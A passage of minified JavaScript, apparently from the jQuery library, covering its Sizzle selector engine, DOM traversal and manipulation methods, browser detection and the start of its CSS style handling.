p,d,v,m=[],y=0,w="0",x=u&&[],T=h!=null,N=c,C=u||s&&i.find.TAG("*",h&&a.parentNode||a),k=b+=N==null?1:Math.E;T&&(c=a!==g&&a,n=o.el);for(;(p=C[w])!=null;w++){if(s&&p){for(d=0;v=e[d];d++)if(v(p,a,f)){l.push(p);break}T&&(b=k,n=++o.el)}r&&((p=!v&&p)&&y--,u&&x.push(p))}y+=w;if(r&&w!==y){for(d=0;v=t[d];d++)v(x,m,a,f);if(u){if(y>0)while(w--)!x[w]&&!m[w]&&(m[w]=E.call(l));m=lt(m)}S.apply(l,m),T&&!u&&m.length>0&&y+t.length>1&&nt.uniqueSort(l)}return T&&(b=k,c=N),x};return o.el=0,r?N(o):o}function dt(e,t,n){var r=0,i=t.length;for(;r<i;r++)nt(e,t[r],n);return n}function vt(e,t,n,r,s){var o,u,f,l,c,h=ut(e),p=h.length;if(!r&&h.length===1){u=h[0]=h[0].slice(0);if(u.length>2&&(f=u[0]).type==="ID"&&t.nodeType===9&&!s&&i.relative[u[1].type]){t=i.find.ID(f.matches[0].replace($,""),t,s)[0];if(!t)return n;e=e.slice(u.shift().length)}for(o=J.POS.test(e)?-1:u.length-1;o>=0;o--){f=u[o];if(i.relative[l=f.type])break;if(c=i.find[l])if(r=c(f.matches[0].replace($,""),z.test(u[0].type)&&t.parentNode||t,s)){u.splice(o,1),e=r.length&&u.join("");if(!e)return S.apply(n,x.call(r,0)),n;break}}}return a(e,h)(r,t,s,n,z.test(e)),n}function mt(){}var n,r,i,s,o,u,a,f,l,c,h=!0,p="undefined",d=("sizcache"+Math.random()).replace(".",""),m=String,g=e.document,y=g.documentElement,b=0,w=0,E=[].pop,S=[].push,x=[].slice,T=[].indexOf||function(e){var t=0,n=this.length;for(;t<n;t++)if(this[t]===e)return t;return-1},N=function(e,t){return e[d]=t==null||t,e},C=function(){var e={},t=[];return N(function(n,r){return t.push(n)>i.cacheLength&&delete e[t.shift()],e[n+" "]=r},e)},k=C(),L=C(),A=C(),O="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",_=M.replace("w","w#"),D="([*^$|!~]?=)",P="\\["+O+"*("+M+")"+O+"*(?:"+D+O+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+_+")|)|)"+O+"*\\]",H=":("+M+")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|([^()[\\]]*|(?:(?:"+P+")|[^:]|\\\\.)*|.*))\\)|)",B=":(even|odd|eq|gt|lt|nth|first|last)(?:\\("+O+"*((?:-\\d)?\\d*)"+O+"*\\)|)(?=[^-]|$)",j=new RegExp("^"+O+"+|((?:^|[^\\\\])(?:\\\\.)*)"+O+"+$","g"),F=new RegExp("^"+O+"*,"+O+"*"),I=new RegExp("^"+O+"*([\\x20\\t\\r\\n\\f>+~])"+O+"*"),q=new RegExp(H),R=/^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,U=/^:not/,z=/[\x20\t\r\n\f]*[+~]/,W=/:not\($/,X=/h\d/i,V=/input|select|textarea|button/i,$=/\\(?!\\)/g,J={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),NAME:new RegExp("^\\[name=['\"]?("+M+")['\"]?\\]"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+P),PSEUDO:new RegExp("^"+H),POS:new RegExp(B,"i"),CHILD:new RegExp("^:(only|nth|first|last)-child(?:\\("+O+"*(even|odd|(([+-]|)(\\d*)n|)"+O+"*(?:([+-]|)"+O+"*(\\d+)|))"+O+"*\\)|)","i"),needsContext:new RegExp("^"+O+"*[>+~]|"+B,"i")},K=function(e){var t=g.createElement("div");try{return e(t)}catch(n){return!1}finally{t=null}},Q=K(function(e){return e.appendChild(g.createComment("")),!e.getElementsByTagName("*").length}),G=K(function(e){return e.innerHTML="<a href='#'></a>",e.firstChild&&typeof e.firstChild.getAttribute!==p&&e.firstChild.getAttribute("href")==="#"}),Y=K(function(e){e.innerHTML="<select></select>";var t=typeof e.lastChild.getAttribute("multiple");return t!=="boolean"&&t!=="string"}),Z=K(function(e){return e.innerHTML="<div class='hidden e'></div><div class='hidden'></div>",!e.getElementsByClassName||!e.getElementsByClassName("e").length?!1:(e.lastChild.className="e",e.getElementsByClassName("e").length===2)}),et=K(function(e){e.id=d+0,e.innerHTML="<a name='"+d+"'></a><div name='"+d+"'></div>",y.insertBefore(e,y.firstChild);var t=g.getElementsByName&&g.getElementsByName(d).length===2+g.getElementsByName(d+0).length;return r=!g.getElementById(d),y.removeChild(e),t});try{x.call(y.childNodes,0)[0].nodeType}catch(tt){x=function(e){var t,n=[];for(;t=this[e];e++)n.push(t);return n}}nt.matches=function(e,t){return nt(e,null,null,t)},nt.matchesSelector=function(e,t){return nt(t,null,null,[e]).length>0},s=nt.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(i===1||i===9||i===11){if(typeof e.textContent=="string")return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=s(e)}else if(i===3||i===4)return e.nodeValue}else for(;t=e[r];r++)n+=s(t);return n},o=nt.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?t.nodeName!=="HTML":!1},u=nt.contains=y.contains?function(e,t){var n=e.nodeType===9?e.documentElement:e,r=t&&t.parentNode;return e===r||!!(r&&r.nodeType===1&&n.contains&&n.contains(r))}:y.compareDocumentPosition?function(e,t){return t&&!!(e.compareDocumentPosition(t)&16)}:function(e,t){while(t=t.parentNode)if(t===e)return!0;return!1},nt.attr=function(e,t){var n,r=o(e);return r||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):r||Y?e.getAttribute(t):(n=e.getAttributeNode(t),n?typeof e[t]=="boolean"?e[t]?t:null:n.specified?n.value:null:null)},i=nt.selectors={cacheLength:50,createPseudo:N,match:J,attrHandle:G?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},find:{ID:r?function(e,t,n){if(typeof t.getElementById!==p&&!n){var r=t.getElementById(e);return r&&r.parentNode?[r]:[]}}:function(e,n,r){if(typeof n.getElementById!==p&&!r){var i=n.getElementById(e);return i?i.id===e||typeof i.getAttributeNode!==p&&i.getAttributeNode("id").value===e?[i]:t:[]}},TAG:Q?function(e,t){if(typeof t.getElementsByTagName!==p)return t.getElementsByTagName(e)}:function(e,t){var n=t.getElementsByTagName(e);if(e==="*"){var r,i=[],s=0;for(;r=n[s];s++)r.nodeType===1&&i.push(r);return i}return n},NAME:et&&function(e,t){if(typeof t.getElementsByName!==p)return t.getElementsByName(name)},CLASS:Z&&function(e,t,n){if(typeof t.getElementsByClassName!==p&&!n)return t.getElementsByClassName(e)}},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace($,""),e[3]=(e[4]||e[5]||"").replace($,""),e[2]==="~="&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),e[1]==="nth"?(e[2]||nt.error(e[0]),e[3]=+(e[3]?e[4]+(e[5]||1):2*(e[2]==="even"||e[2]==="odd")),e[4]=+(e[6]+e[7]||e[2]==="odd")):e[2]&&nt.error(e[0]),e},PSEUDO:function(e){var t,n;if(J.CHILD.test(e[0]))return null;if(e[3])e[2]=e[3];else if(t=e[4])q.test(t)&&(n=ut(t,!0))&&(n=t.indexOf(")",t.length-n)-t.length)&&(t=t.slice(0,n),e[0]=e[0].slice(0,n)),e[2]=t;return e.slice(0,3)}},filter:{ID:r?function(e){return e=e.replace($,""),function(t){return t.getAttribute("id")===e}}:function(e){return e=e.replace($,""),function(t){var n=typeof t.getAttributeNode!==p&&t.getAttributeNode("id");return n&&n.value===e}},TAG:function(e){return e==="*"?function(){return!0}:(e=e.replace($,"").toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[d][e+" "];return t||(t=new RegExp("(^|"+O+")"+e+"("+O+"|$)"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==p&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r,i){var s=nt.attr(r,e);return s==null?t==="!=":t?(s+="",t==="="?s===n:t==="!="?s!==n:t==="^="?n&&s.indexOf(n)===0:t==="*="?n&&s.indexOf(n)>-1:t==="$="?n&&s.substr(s.length-n.length)===n:t==="~="?(" "+s+" ").indexOf(n)>-1:t==="|="?s===n||s.substr(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r){return e==="nth"?function(e){var t,i,s=e.parentNode;if(n===1&&r===0)return!0;if(s){i=0;for(t=s.firstChild;t;t=t.nextSibling)if(t.nodeType===1){i++;if(e===t)break}}return i-=r,i===n||i%n===0&&i/n>=0}:function(t){var n=t;switch(e){case"only":case"first":while(n=n.previousSibling)if(n.nodeType===1)return!1;if(e==="first")return!0;n=t;case"last":while(n=n.nextSibling)if(n.nodeType===1)return!1;return!0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||nt.error("unsupported pseudo: "+e);return r[d]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?N(function(e,n){var i,s=r(e,t),o=s.length;while(o--)i=T.call(e,s[o]),e[i]=!(n[i]=s[o])}):function(e){return r(e,0,n)}):r}},pseudos:{not:N(function(e){var t=[],n=[],r=a(e.replace(j,"$1"));return r[d]?N(function(e,t,n,i){var s,o=r(e,null,i,[]),u=e.length;while(u--)if(s=o[u])e[u]=!(t[u]=s)}):function(e,i,s){return t[0]=e,r(t,null,s,n),!n.pop()}}),has:N(function(e){return function(t){return nt(e,t).length>0}}),contains:N(function(e){return function(t){return(t.textContent||t.innerText||s(t)).indexOf(e)>-1}}),enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&!!e.checked||t==="option"&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!i.pseudos.empty(e)},empty:function(e){var t;e=e.firstChild;while(e){if(e.nodeName>"@"||(t=e.nodeType)===3||t===4)return!1;e=e.nextSibling}return!0},header:function(e){return X.test(e.nodeName)},text:function(e){var t,n;return e.nodeName.toLowerCase()==="input"&&(t=e.type)==="text"&&((n=e.getAttribute("type"))==null||n.toLowerCase()===t)},radio:rt("radio"),checkbox:rt("checkbox"),file:rt("file"),password:rt("password"),image:rt("image"),submit:it("submit"),reset:it("reset"),button:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&e.type==="button"||t==="button"},input:function(e){return V.test(e.nodeName)},focus:function(e){var t=e.ownerDocument;return e===t.activeElement&&(!t.hasFocus||t.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},active:function(e){return e===e.ownerDocument.activeElement},first:st(function(){return[0]}),last:st(function(e,t){return[t-1]}),eq:st(function(e,t,n){return[n<0?n+t:n]}),even:st(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:st(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:st(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:st(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}},f=y.compareDocumentPosition?function(e,t){return e===t?(l=!0,0):(!e.compareDocumentPosition||!t.compareDocumentPosition?e.compareDocumentPosition:e.compareDocumentPosition(t)&4)?-1:1}:function(e,t){if(e===t)return l=!0,0;if(e.sourceIndex&&t.sourceIndex)return e.sourceIndex-t.sourceIndex;var n,r,i=[],s=[],o=e.parentNode,u=t.parentNode,a=o;if(o===u)return ot(e,t);if(!o)return-1;if(!u)return 1;while(a)i.unshift(a),a=a.parentNode;a=u;while(a)s.unshift(a),a=a.parentNode;n=i.length,r=s.length;for(var f=0;f<n&&f<r;f++)if(i[f]!==s[f])return ot(i[f],s[f]);return f===n?ot(e,s[f],-1):ot(i[f],t,1)},[0,0].sort(f),h=!l,nt.uniqueSort=function(e){var t,n=[],r=1,i=0;l=h,e.sort(f);if(l){for(;t=e[r];r++)t===e[r-1]&&(i=n.push(r));while(i--)e.splice(n[i],1)}return e},nt.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},a=nt.compile=function(e,t){var n,r=[],i=[],s=A[d][e+" "];if(!s){t||(t=ut(e)),n=t.length;while(n--)s=ht(t[n]),s[d]?r.push(s):i.push(s);s=A(e,pt(i,r))}return s},g.querySelectorAll&&function(){var e,t=vt,n=/'|\\/g,r=/\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,i=[":focus"],s=[":active"],u=y.matchesSelector||y.mozMatchesSelector||y.webkitMatchesSelector||y.oMatchesSelector||y.msMatchesSelector;K(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||i.push("\\["+O+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||i.push(":checked")}),K(function(e){e.innerHTML="<p test=''></p>",e.querySelectorAll("[test^='']").length&&i.push("[*^$]="+O+"*(?:\"\"|'')"),e.innerHTML="<input type='hidden'/>",e.querySelectorAll(":enabled").length||i.push(":enabled",":disabled")}),i=new RegExp(i.join("|")),vt=function(e,r,s,o,u){if(!o&&!u&&!i.test(e)){var a,f,l=!0,c=d,h=r,p=r.nodeType===9&&e;if(r.nodeType===1&&r.nodeName.toLowerCase()!=="object"){a=ut(e),(l=r.getAttribute("id"))?c=l.replace(n,"\\$&"):r.setAttribute("id",c),c="[id='"+c+"'] ",f=a.length;while(f--)a[f]=c+a[f].join("");h=z.test(e)&&r.parentNode||r,p=a.join(",")}if(p)try{return S.apply(s,x.call(h.querySelectorAll(p),0)),s}catch(v){}finally{l||r.removeAttribute("id")}}return t(e,r,s,o,u)},u&&(K(function(t){e=u.call(t,"div");try{u.call(t,"[test!='']:sizzle"),s.push("!=",H)}catch(n){}}),s=new RegExp(s.join("|")),nt.matchesSelector=function(t,n){n=n.replace(r,"='$1']");if(!o(t)&&!s.test(n)&&!i.test(n))try{var a=u.call(t,n);if(a||e||t.document&&t.document.nodeType!==11)return a}catch(f){}return nt(n,null,null,[t]).length>0})}(),i.pseudos.nth=i.pseudos.eq,i.filters=mt.prototype=i.pseudos,i.setFilters=new mt,nt.attr=v.attr,v.find=nt,v.expr=nt.selectors,v.expr[":"]=v.expr.pseudos,v.unique=nt.uniqueSort,v.text=nt.getText,v.isXMLDoc=nt.isXML,v.contains=nt.contains}(e);var nt=/Until$/,rt=/^(?:parents|prev(?:Until|All))/,it=/^.[^:#\[\.,]*$/,st=v.expr.match.needsContext,ot={children:!0,contents:!0,next:!0,prev:!0};v.fn.extend({find:function(e){var t,n,r,i,s,o,u=this;if(typeof e!="string")return v(e).filter(function(){for(t=0,n=u.length;t<n;t++)if(v.contains(u[t],this))return!0});o=this.pushStack("","find",e);for(t=0,n=this.length;t<n;t++){r=o.length,v.find(e,this[t],o);if(t>0)for(i=r;i<o.length;i++)for(s=0;s<r;s++)if(o[s]===o[i]){o.splice(i--,1);break}}return o},has:function(e){var t,n=v(e,this),r=n.length;return this.filter(function(){for(t=0;t<r;t++)if(v.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1),"not",e)},filter:function(e){return this.pushStack(ft(this,e,!0),"filter",e)},is:function(e){return!!e&&(typeof e=="string"?st.test(e)?v(e,this.context).index(this[0])>=0:v.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,s=[],o=st.test(e)||typeof e!="string"?v(e,t||this.context):0;for(;r<i;r++){n=this[r];while(n&&n.ownerDocument&&n!==t&&n.nodeType!==11){if(o?o.index(n)>-1:v.find.matchesSelector(n,e)){s.push(n);break}n=n.parentNode}}return s=s.length>1?v.unique(s):s,this.pushStack(s,"closest",e)},index:function(e){return e?typeof e=="string"?v.inArray(this[0],v(e)):v.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e=="string"?v(e,t):v.makeArray(e&&e.nodeType?[e]:e),r=v.merge(this.get(),n);return this.pushStack(ut(n[0])||ut(r[0])?r:v.unique(r))},addBack:function(e){return this.add(e==null?this.prevObject:this.prevObject.filter(e))}}),v.fn.andSelf=v.fn.addBack,v.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return v.dir(e,"parentNode")},parentsUntil:function(e,t,n){return v.dir(e,"parentNode",n)},next:function(e){return at(e,"nextSibling")},prev:function(e){return at(e,"previousSibling")},nextAll:function(e){return v.dir(e,"nextSibling")},prevAll:function(e){return v.dir(e,"previousSibling")},nextUntil:function(e,t,n){return v.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return v.dir(e,"previousSibling",n)},siblings:function(e){return v.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return v.sibling(e.firstChild)},contents:function(e){return v.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:v.merge([],e.childNodes)}},function(e,t){v.fn[e]=function(n,r){var i=v.map(this,t,n);return nt.test(e)||(r=n),r&&typeof r=="string"&&(i=v.filter(r,i)),i=this.length>1&&!ot[e]?v.unique(i):i,this.length>1&&rt.test(e)&&(i=i.reverse()),this.pushStack(i,e,l.call(arguments).join(","))}}),v.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),t.length===1?v.find.matchesSelector(t[0],e)?[t[0]]:[]:v.find.matches(e,t)},dir:function(e,n,r){var i=[],s=e[n];while(s&&s.nodeType!==9&&(r===t||s.nodeType!==1||!v(s).is(r)))s.nodeType===1&&i.push(s),s=s[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1&&e!==t&&n.push(e);return n}});var ct="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",ht=/ jQuery\d+="(?:null|\d+)"/g,pt=/^\s+/,dt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,vt=/<([\w:]+)/,mt=/<tbody/i,gt=/<|&#?\w+;/,yt=/<(?:script|style|link)/i,bt=/<(?:script|object|embed|option|style)/i,wt=new RegExp("<(?:"+ct+")[\\s/>]","i"),Et=/^(?:checkbox|radio)$/,St=/checked\s*(?:[^=]|=\s*.checked.)/i,xt=/\/(java|ecma)script/i,Tt=/^\s*<!(?:\[CDATA\[|\-\-)|[\]\-]{2}>\s*$/g,Nt={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},Ct=lt(i),kt=Ct.appendChild(i.createElement("div"));Nt.optgroup=Nt.option,Nt.tbody=Nt.tfoot=Nt.colgroup=Nt.caption=Nt.thead,Nt.th=Nt.td,v.support.htmlSerialize||(Nt._default=[1,"X<div>","</div>"]),v.fn.extend({text:function(e){return v.access(this,function(e){return e===t?v.text(this):this.empty().append((this[0]&&this[0].ownerDocument||i).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(v.isFunction(e))return this.each(function(t){v(this).wrapAll(e.call(this,t))});if(this[0]){var t=v(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return v.isFunction(e)?this.each(function(t){v(this).wrapInner(e.call(this,t))}):this.each(function(){var t=v(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=v.isFunction(e);return this.each(function(n){v(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){v.nodeName(this,"body")||v(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.insertBefore(e,this.firstChild)})},before:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(e,this),"before",this.selector)}},after:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(this,e),"after",this.selector)}},remove:function(e,t){var n,r=0;for(;(n=this[r])!=null;r++)if(!e||v.filter(e,[n]).length)!t&&n.nodeType===1&&(v.cleanData(n.getElementsByTagName("*")),v.cleanData([n])),n.parentNode&&n.parentNode.removeChild(n);return this},empty:function(){var e,t=0;for(;(e=this[t])!=null;t++){e.nodeType===1&&v.cleanData(e.getElementsByTagName("*"));while(e.firstChild)e.removeChild(e.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return v.clone(this,e,t)})},html:function(e){return v.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return n.nodeType===1?n.innerHTML.replace(ht,""):t;if(typeof e=="string"&&!yt.test(e)&&(v.support.htmlSerialize||!wt.test(e))&&(v.support.leadingWhitespace||!pt.test(e))&&!Nt[(vt.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(dt,"<$1></$2>");try{for(;r<i;r++)n=this[r]||{},n.nodeType===1&&(v.cleanData(n.getElementsByTagName("*")),n.innerHTML=e);n=0}catch(s){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(e){return ut(this[0])?this.length?this.pushStack(v(v.isFunction(e)?e():e),"replaceWith",e):this:v.isFunction(e)?this.each(function(t){var n=v(this),r=n.html();n.replaceWith(e.call(this,t,r))}):(typeof e!="string"&&(e=v(e).detach()),this.each(function(){var t=this.nextSibling,n=this.parentNode;v(this).remove(),t?v(t).before(e):v(n).append(e)}))},detach:function(e){return this.remove(e,!0)},domManip:function(e,n,r){e=[].concat.apply([],e);var i,s,o,u,a=0,f=e[0],l=[],c=this.length;if(!v.support.checkClone&&c>1&&typeof f=="string"&&St.test(f))return this.each(function(){v(this).domManip(e,n,r)});if(v.isFunction(f))return this.each(function(i){var s=v(this);e[0]=f.call(this,i,n?s.html():t),s.domManip(e,n,r)});if(this[0]){i=v.buildFragment(e,this,l),o=i.fragment,s=o.firstChild,o.childNodes.length===1&&(o=s);if(s){n=n&&v.nodeName(s,"tr");for(u=i.cacheable||c-1;a<c;a++)r.call(n&&v.nodeName(this[a],"table")?Lt(this[a],"tbody"):this[a],a===u?o:v.clone(o,!0,!0))}o=s=null,l.length&&v.each(l,function(e,t){t.src?v.ajax?v.ajax({url:t.src,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0}):v.error("no ajax"):v.globalEval((t.text||t.textContent||t.innerHTML||"").replace(Tt,"")),t.parentNode&&t.parentNode.removeChild(t)})}return this}}),v.buildFragment=function(e,n,r){var s,o,u,a=e[0];return n=n||i,n=!n.nodeType&&n[0]||n,n=n.ownerDocument||n,e.length===1&&typeof a=="string"&&a.length<512&&n===i&&a.charAt(0)==="<"&&!bt.test(a)&&(v.support.checkClone||!St.test(a))&&(v.support.html5Clone||!wt.test(a))&&(o=!0,s=v.fragments[a],u=s!==t),s||(s=n.createDocumentFragment(),v.clean(e,n,s,r),o&&(v.fragments[a]=u&&s)),{fragment:s,cacheable:o}},v.fragments={},v.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){v.fn[e]=function(n){var r,i=0,s=[],o=v(n),u=o.length,a=this.length===1&&this[0].parentNode;if((a==null||a&&a.nodeType===11&&a.childNodes.length===1)&&u===1)return o[t](this[0]),this;for(;i<u;i++)r=(i>0?this.clone(!0):this).get(),v(o[i])[t](r),s=s.concat(r);return this.pushStack(s,e,o.selector)}}),v.extend({clone:function(e,t,n){var r,i,s,o;v.support.html5Clone||v.isXMLDoc(e)||!wt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(kt.innerHTML=e.outerHTML,kt.removeChild(o=kt.firstChild));if((!v.support.noCloneEvent||!v.support.noCloneChecked)&&(e.nodeType===1||e.nodeType===11)&&!v.isXMLDoc(e)){Ot(e,o),r=Mt(e),i=Mt(o);for(s=0;r[s];++s)i[s]&&Ot(r[s],i[s])}if(t){At(e,o);if(n){r=Mt(e),i=Mt(o);for(s=0;r[s];++s)At(r[s],i[s])}}return r=i=null,o},clean:function(e,t,n,r){var s,o,u,a,f,l,c,h,p,d,m,g,y=t===i&&Ct,b=[];if(!t||typeof t.createDocumentFragment=="undefined")t=i;for(s=0;(u=e[s])!=null;s++){typeof u=="number"&&(u+="");if(!u)continue;if(typeof u=="string")if(!gt.test(u))u=t.createTextNode(u);else{y=y||lt(t),c=t.createElement("div"),y.appendChild(c),u=u.replace(dt,"<$1></$2>"),a=(vt.exec(u)||["",""])[1].toLowerCase(),f=Nt[a]||Nt._default,l=f[0],c.innerHTML=f[1]+u+f[2];while(l--)c=c.lastChild;if(!v.support.tbody){h=mt.test(u),p=a==="table"&&!h?c.firstChild&&c.firstChild.childNodes:f[1]==="<table>"&&!h?c.childNodes:[];for(o=p.length-1;o>=0;--o)v.nodeName(p[o],"tbody")&&!p[o].childNodes.length&&p[o].parentNode.removeChild(p[o])}!v.support.leadingWhitespace&&pt.test(u)&&c.insertBefore(t.createTextNode(pt.exec(u)[0]),c.firstChild),u=c.childNodes,c.parentNode.removeChild(c)}u.nodeType?b.push(u):v.merge(b,u)}c&&(u=c=y=null);if(!v.support.appendChecked)for(s=0;(u=b[s])!=null;s++)v.nodeName(u,"input")?_t(u):typeof u.getElementsByTagName!="undefined"&&v.grep(u.getElementsByTagName("input"),_t);if(n){m=function(e){if(!e.type||xt.test(e.type))return r?r.push(e.parentNode?e.parentNode.removeChild(e):e):n.appendChild(e)};for(s=0;(u=b[s])!=null;s++)if(!v.nodeName(u,"script")||!m(u))n.appendChild(u),typeof u.getElementsByTagName!="undefined"&&(g=v.grep(v.merge([],u.getElementsByTagName("script")),m),b.splice.apply(b,[s+1,0].concat(g)),s+=g.length)}return b},cleanData:function(e,t){var n,r,i,s,o=0,u=v.expando,a=v.cache,f=v.support.deleteExpando,l=v.event.special;for(;(i=e[o])!=null;o++)if(t||v.acceptData(i)){r=i[u],n=r&&a[r];if(n){if(n.events)for(s in n.events)l[s]?v.event.remove(i,s):v.removeEvent(i,s,n.handle);a[r]&&(delete a[r],f?delete i[u]:i.removeAttribute?i.removeAttribute(u):i[u]=null,v.deletedIds.push(r))}}}}),function(){var e,t;v.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||e.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e=v.uaMatch(o.userAgent),t={},e.browser&&(t[e.browser]=!0,t.version=e.version),t.chrome?t.webkit=!0:t.webkit&&(t.safari=!0),v.browser=t,v.sub=function(){function e(t,n){return new e.fn.init(t,n)}v.extend(!0,e,this),e.superclass=this,e.fn=e.prototype=this(),e.fn.constructor=e,e.sub=this.sub,e.fn.init=function(r,i){return i&&i instanceof v&&!(i instanceof e)&&(i=e(i)),v.fn.init.call(this,r,i,t)},e.fn.init.prototype=e.fn;var t=e(i);return e}}();var Dt,Pt,Ht,Bt=/alpha\([^)]*\)/i,jt=/opacity=([^)]*)/,Ft=/^(top|right|bottom|left)$/,It=/^(none|table(?!-c[ea]).+)/,qt=/^margin/,Rt=new RegExp("^("+m+")(.*)$","i"),Ut=new RegExp("^("+m+")(?!px)[a-z%]+$","i"),zt=new RegExp("^([-+])=("+m+")","i"),Wt={BODY:"block"},Xt={position:"absolute",visibility:"hidden",display:"block"},Vt={letterSpacing:0,fontWeight:400},$t=["Top","Right","Bottom","Left"],Jt=["Webkit","O","Moz","ms"],Kt=v.fn.toggle;v.fn.extend({css:function(e,n){return v.access(this,function(e,n,r){return r!==t?v.style(e,n,r):v.css(e,n)},e,n,arguments.length>1)},show:function(){return Yt(this,!0)},hide:function(){return Yt(this)},toggle:function(e,t){var n=typeof e=="boolean";return v.isFunction(e)&&v.isFunction(t)?Kt.apply(this,arguments):this.each(function(){(n?e:Gt(this))?v(this).show():v(this).hide()})}}),v.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Dt(e,"opacity");return n===""?"1":n}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":v.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(!e||e.nodeType===3||e.nodeType===8||!e.style)return;var s,o,u,a=v.camelCase(n),f=e.style;n=v.cssProps[a]||(v.cssProps[a]=Qt(f,a)),u=v.cssHooks[n]||v.cssHooks[a];if(r===t)return u&&"get"in u&&(s=u.get(e,!1,i))!==t?s:f[n];o=typeof r,o==="string"&&(s=zt.exec(r))&&(r=(s[1]+1)*s[2]+parseFloat(v.css(e,n)),o="number");if(r==null||o==="number"&&isNaN(r))return;o==="number"&&!v.cssNumber[a]&&(r+="px");if(!u||!("set"in 